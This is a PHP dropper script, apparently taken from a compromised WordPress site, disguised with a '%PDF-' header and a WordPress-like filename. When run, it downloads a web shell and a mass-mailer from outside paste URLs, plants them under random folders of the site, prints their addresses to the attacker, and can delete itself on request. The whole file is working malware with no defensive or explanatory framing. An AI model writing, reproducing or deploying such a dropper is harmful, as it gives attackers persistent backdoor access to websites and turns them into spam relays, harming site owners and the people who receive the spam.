%PDF- %PDF-
| Direktori : /proc/3183/cwd/lacumbrejuriquilla.mx/ |
| Current File : //proc/3183/cwd/lacumbrejuriquilla.mx/wp-scr1ptx.php |
<?php
# Coded By S911lo
function Domain(){
$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'];
$hostUrl = $protocol . '://' . $host;
return $hostUrl;
}
function generateRandomName($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$randomName = '';
for ($i = 0; $i < $length; $i++) {
$randomName .= $characters[random_int(0, strlen($characters) - 1)];
}
return $randomName;
}
$hostdomain = Domain();
$currentDirectory = dirname(__FILE__);
$folders = array_filter(glob($currentDirectory . '/*'), 'is_dir');
$randomNameFileshell = themes4 . '.php';
$randomNameFilemailer = xXsend4 . '.php';
if (empty($folders)) {
die('No Folder there ');
} else {
$randomFolders = $folders[array_rand($folders)];
$parts_folder = explode('/', $randomFolders);
$randomFolderName = end($parts_folder);
$randomFolderPath = $currentDirectory . '/' . $randomFolderName ;
$shellPath = $randomFolderPath . '/'. $randomNameFileshell;
$contet_shell = file_get_contents('https://rentry.co/gh74kqet/raw');
file_put_contents($shellPath, $contet_shell);
$mailerPath = $randomFolderPath . '/'. $randomNameFilemailer;
$contet_mailer = file_get_contents('https://rentry.co/c72ehwo9/raw');
file_put_contents($mailerPath, $contet_mailer);
$urlshell = $hostdomain . '/' .$randomFolderName .'/'.$randomNameFileshell;
$urlmailer = $hostdomain . '/' .$randomFolderName .'/'.$randomNameFilemailer;
echo "shell -------> : <b><shell>$urlshell</shell></b></br>";
echo "Mailer ------>:<b><mailer>$urlmailer</mailer></b></br>";
}
if(isset($_GET['unback'])){
unlink(__FILE__);
}
?>